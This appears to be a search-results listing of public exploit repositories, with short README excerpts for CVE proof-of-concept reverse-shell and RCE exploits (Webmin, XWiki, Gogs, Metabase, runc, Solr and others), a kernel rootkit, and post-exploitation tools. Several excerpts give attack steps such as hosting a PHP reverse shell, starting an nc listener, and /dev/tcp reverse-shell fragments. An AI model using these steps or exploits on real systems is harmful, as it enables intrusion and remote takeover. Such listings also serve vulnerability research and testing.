3465 matches found
CVE-2024-32002-Reverse-Shell
CVE-2024-32002-Reverse-Shell This script demonstrates how to exploit CVE-2024-32002 to obtain a reverse shell, providing remote access to the affected system. Use it with caution in controlled environments and only for educational or security testing purposes. Blog Post This script is inspired by...
CVE-2021-31762
CSRF-to-RCE ..| CVE-2021-31762 |.. Description : Exploiting a Cross-site request forgery CSRF attack to create a privileged user through the Webmin's add users feature then getting a reverse shell through the Webmin's running process feature Tested Version : Webmin 1.973 GitHub's latest version...
CVE-2019-7069-POC
Kibana ⚠️ Disclaimer: This script is for educational and authorized penetration testing only. Do not use it on systems you do not own or have explicit permission to test. The author and contributors are not responsible for any misuse or damage caused by this tool. 🎯 What is this? This is a Python ...
Limesurvey-RCE
Limesurvey-RCE LimeSurvey Authenticated RCE Proof of Concept: 1. Create your files config.xml and php reverse shell files 2. Create archive with these files 3. Login with credentials 4. Go Configuration - Plugins - Upload & Install 5. Choose your zipped file 6. Upload 7. Install 8. Activate plugi...
CVE-2024-37084-Poc
CVE-2024-37084-Poc Setup ,Analysis , Demo exploit and poc about CVE-2024-37084 How to use : py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show...
Modified-CVE-2015-3306-Exploit
Modified-CVE-2015-3306-Exploit How to 1. Create a php reverse shell 2. Start server to host shell in the same directory python3 -m http.server 3. Start netcat listener on local port of choice example: nc -nlvp port of choice 4. Run exploit example provided below python3 modifiedCVE20153306.py...
CVE-2025-24893-PoC
CVE-2025-24893 - XWiki Remote Code Execution RCE An updated proof-of-concept PoC exploit for CVE-2025-24893 , a critical unauthenticated RCE vulnerability in XWiki. This version improves on the original by allowing arbitrary shell command execution and clean reverse shell injection. By:...
CVE-2025-8110-PoC
CVE-2025-8110 PoC Python proof-of-concept script for CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch → sshCommand → reverse shell. ⚠️ For educational and authorized security research only. Running this tool against systems you do no...
CVE-2023-38646
Metabase Pre Authentication RCE CVE-2023-38646 We have provided two files:- CVE-2023-38646-POC.py for checking if any metabase intance is leaking setup-token. CVE-2023-38646-Reverse-Shell.py to get a reerse shell on the attacker controlled machine. CVE-2023-38646-POC.py...
notionterm
notionterm Intégrer un reverse shell dans les pagesNotion. Hackez en prenant des notes POUR ➕ : Masquer l'IP de l'attaquant dans le reverse shell Aucune interaction directe entre l'attaquant et la machine cible. Notion est utilisé comme proxy hébergeant le reverse shell Insertion de démo/preuve...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...
Codeine
Codeine .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine is a Linux LKM...
pwncat
pwncat pwncat est une plateforme de post-exploitation pour cibles Linux. Il a commencé comme un wrapper autour de shells bind et reverse basiques et a grandi depuis. Il simplifie les opérations courantes d'équipe rouge tout en organisant le code depuis votre machine d'attaque, et non depuis la...
CVE-2024-21626
CVE-2024-21626 POC Requirements runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tc...
CVE-2017-12636
CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / | /// / /...
CVE-2019-17558_Solr_Vul_Tool
Solr Velocity Template Injection Vulnerability Detection Tool Tool Introduction At the end of October 2019, the Solr Velocity template injection remote command execution vulnerability was disclosed. Manual detection of this vulnerability requires several rounds of capturing and modifying packets...
ExploitTensorflowCVE-2021-37678
CVE-2021-37678 Exploit To exploit the vulnerability, it is necessary to start a Docker container with an environment prepared to run Tensorflow with version 2.2.3 which still has the vulnerability. It consists of: An AMD 64-bit architecture, CPU or GPU that can execute AVX instructions Python...
CVE-2024-24590-ClearML-RCE-CMD-POC
ClearML Exploit Script This repository contains a Python exploit script for CVE-2024-24590 The script is designed to upload a malicious pickle file to ClearML, which executes a reverse shell or a custom command. Features Uploads a malicious pickle artifact to ClearML. Executes a reverse shell or ...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 This repository contains Detailed explanation and working poc for Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution. Configuration: Create a netcat listner. nc -lnvp 1234 Change the attacker ip to your ip and port. Also create a...